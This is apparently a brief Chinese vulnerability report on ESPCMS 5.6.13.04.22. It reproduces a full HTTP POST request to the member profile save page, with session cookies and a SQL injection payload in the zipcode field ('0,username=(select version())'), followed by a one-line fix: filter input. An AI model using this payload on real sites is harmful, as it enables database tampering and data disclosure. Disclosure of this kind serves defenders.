POST /espcms_utf8_5.6.13.04.22_b/upload/index.php?ac=membermain&at=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/espcms_utf8_5.6.13.04.22_b/upload/index.php?ac=membermain&at=editinfo
Cookie: ECS[visit_times]=3; deal_city=15; VUAH_2132_saltkey=Ip9qjMop; lXeu_2132_saltkey=HPWeBNe1; lXeu_2132_lastvisit=1369410091; lXeu_2132_ulastactivity=6a00rULKQIzPDIXidvYIzNBwa%2F9AorEkXleI1PvSsABgSPgE9xgh; lXeu_2132_lastcheckfeed=1%7C1369413715; lXeu_2132_nofavfid=1; cdq_auth=ATdXWAdgBTUCOQJsAWtSDgI0AV8HYAM2BGNWZAA0BWUFMwIyBzcBMQJnU2JVMgFnBTALOFBmAjRXZAM0CT4PPQE%2BV2EHZQUzAjcCMwExUmYCNQE3BwsDMA; cdq_userid=1; cdq_username=admin; cdq_guest_truename=11; cdq_guest_telephone=13412334321; cdq_guest_email=11@12.com; cdq_chat_ec=2; cookiecheckrl65df1570e4df9e3eebb15d95f25922ca=1369936728; ecisp_seccode=W3WDdn5mPaRlaG1ec6mYmIs; esp_powerlist=k6Wh; ecisp_admininfo=Y7WWlNDNpbVuxWqVxpbDamPJmMacm5SSx55nxslpmWabl2ScbGOUxbOcm5hmx8ZjxGNmyZiXb5tilcydZ5rLm5mZbmSVnW1km-BotWrdZ5fHl5JoapTLmJrMaZaZy5jDyGdqmnFomGtqaZWWmpo; ECS_ID=0ba2063f70abe09728f778c1d2ba6d1e3ffaa345; ecisp_home_seccode=W3F8en1mPaRlaG1ec6yanYk; ecisp_member_username=qqKWn9vNmKg; ecisp_member_info=Y7WxYN-Vs2t5k1_F0p7dZWSXlptmnGRkmeJlkplmbGZuZ2VssZPFm2yenJOUkpaWk2ZsmZjInJ1kasvLl8ScZ5iacGdqtWhlmpRvb5uSaJuUaJJja5zKlJyfkmeWyGmUzGtrmZyY
X-Forwarded-For: 127.0.0.1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 370

upurl=http%3A%2F%2Flocalhost%2Fespcms_utf8_5.6.13.04.22_b%2Fupload%2Findex.php%3Fac%3Dmembermain%26at%3Deditinfo&inputclass=editinfo&userid=1&username=root%40localhost&email=2%402.com&mvid=&alias=&sex=1&birthday=2013-05-31&cityone=0&citytwo=0&citythree=0&district=0&address=&zipcode=0,username=(select+version())&tel=&mobile=&msn=1&qq=0&submit=%E7%A1%AE%E8%AE%A4%E4%BF%AE%E6%94%B9%E8%B5%84%E6%96%99

修改zipcode的值
 

 

修复方案：

过滤下